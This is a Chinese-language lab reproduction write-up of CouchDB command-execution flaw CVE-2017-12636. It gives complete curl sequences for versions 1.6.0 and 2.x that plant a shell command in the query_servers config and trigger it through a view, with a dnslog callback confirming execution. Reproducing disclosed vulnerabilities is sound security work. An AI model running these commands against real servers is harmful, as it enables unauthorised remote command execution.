CouchDB 是一个开源的面向文档的数据库管理系统，可以通过 RESTful JavaScript Object Notation (JSON) API 访问。术语 “Couch” 是 “Cluster Of Unreliable Commodity Hardware” 的首字母缩写，它反映了 CouchDB 的目标具有高度可伸缩性，提供了高可用性和高可靠性，即使运行在容易出现故障的硬件上也是如此。
在2017年11月15日，CVE-2017-12635和CVE-2017-12636披露，CVE-2017-12636是一个任意命令执行漏洞，我们可以通过config api修改couchdb的配置query_server，这个配置项在设计、执行view的时候将被运行。
漏洞影响版本：小于 1.7.0 以及 小于 2.1.1
由于该漏洞利用条件需要登录用户触发，通常配合CVE-2017-12635一起利用
CVE-2017-12635复现文章链接
本文仅作漏洞复现记录与实现，利用流程如下:
1.漏洞环境
目标链接：http://192.168.101.152:5984/
访问链接http://192.168.101.152:5984/_utils/如下
由于Couchdb 2.x和和1.x的的API接口有所差别，导致利用方式也不同，这里演示版本为1.6.0版本
2.漏洞利用
1.6.0漏洞利用：
依次执行以下命令即可触发
其中vulhub:vulhub为管理员的账户密码
curl -X PUT ‘http://vulhub:[email protected]:5984/_config/query_servers/cmd’ -d ‘”ping test.kfqhkz.dnslog.cn”‘
curl -X PUT ‘http://vulhub:[email protected]:5984/vultest’
curl -X PUT ‘http://vulhub:[email protected]:5984/vultest/vul’ -d ‘{“_id”:”770895a97726d5ca6d70a22173005c7b”}’
curl -X POST ‘http://vulhub:[email protected]:5984/vultest/_temp_view?limit=10’ -d ‘{“language”:”cmd”,”map”:””}’ -H ‘Content-Type:application/json’
执行完毕后查看dnslog
命令执行成功
2.x漏洞利用如下：
Couchdb 2.x 引入了集群，所以修改配置的API需要增加node name。这个其实也简单，我们带上账号密码访问`/_membership`即可：
“`
curl http://vulhub:vulhub@your-ip:5984/_membership
“`
可见，我们这里只有一个node，名字是`nonode@nohost`。
然后，我们修改`nonode@nohost`的配置：
“`
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d ‘”id >/tmp/success”‘
“`
然后，与1.6.0的利用方式相同，我们先增加一个Database和一个Document：
“`
curl -X PUT ‘http://vulhub:vulhub@your-ip:5984/vultest’
curl -X PUT ‘http://vulhub:vulhub@your-ip:5984/vultest/vul’ -d ‘{“_id”:”770895a97726d5ca6d70a22173005c7b”}’
“`
Couchdb 2.x删除了`_temp_view`，所以我们为了触发`query_servers`中定义的命令，需要添加一个`_view`：
“`
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d ‘{“_id”:”_design/test”,”views”:{“wooyun”:{“map”:””} },”language”:”cmd”}’ -H “Content-Type: application/json”
“`
增加`_view`的同时即触发了`query_servers`中的命令。
来源：freebuf.com 2021-03-21 18:28:01 by: FengDao
请登录后发表评论
注册